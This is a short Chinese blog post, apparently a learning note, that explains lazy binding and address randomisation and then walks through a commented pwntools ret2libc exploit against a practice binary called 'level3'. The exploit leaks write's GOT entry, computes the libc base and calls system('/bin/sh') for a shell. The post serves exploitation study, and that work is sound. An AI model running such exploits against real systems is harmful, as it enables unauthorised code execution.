这篇文章是看了 https://segmentfault.com/a/1190000005888964 文章有感而写
若哪里有错 还请各位指教
其实这篇文章我看着很起劲 但是 感觉有几个疑惑点 但是翻阅资料后 也感觉收获了不少 然后我就来分享一下
我就从延迟绑定开始说起
延迟绑定 算是一种系统策略吧 有很多库 库中有很多函数 不用的函数 就先不导入程序中 但是如果函数 经过用的话 那么 链接库就会导出这个函数地址给程序 程序就算是得到了 这个函数 然后配合这基址随机化 库的基址不一定 函数的地址也就不一定
那么我们想用某一个函数的话 那该怎么办
我们可以 先把函数调用 然后 得出真正的地址 然后 得出 基地址 然后就可以找到我们想要的地址了
我直接在代码上写注释把
from pwn import *
p = process('./level3') elf = ELF('./level3') libc = ELF("/lib/i386-linux-gnu/libc.so.6")
cnt = 140 vul_func = 0x0804844b
p.recv() payload1 = 'a'*cnt + p32(elf.symbols['write']) + p32(vul_func) payload1 += p32(1) + p32(elf.got['write']) + p32(4)
# 这句话的意思是 write(1, got_write, 3); return vul_func;
p.sendline(payload1) write_addr = u32(p.recv(4)) print "write_addr: "+hex(write_addr)
#u32是将字符串解压成数字 和p32 相反 这里p.recv 是接受 上面的 got_write
libc_base = write_addr - libc.symbols['write'] log.success("libc_base:"+hex(libc_base))
#得出了 基地址
system_addr = libc_base + libc.symbols['system'] print "system_addr: " + hex(system_addr)
#然后求出 system 的地址
bin_addr = libc_base + libc.search('/bin/sh').next()
#寻求字符串
print "bin_addr: "+hex(bin_addr) payload2 = 'a'*cnt + p32(system_addr) + p32(vul_func) + p32(bin_addr) p.sendline(payload2)#加载基地址
#构造
p.interactive()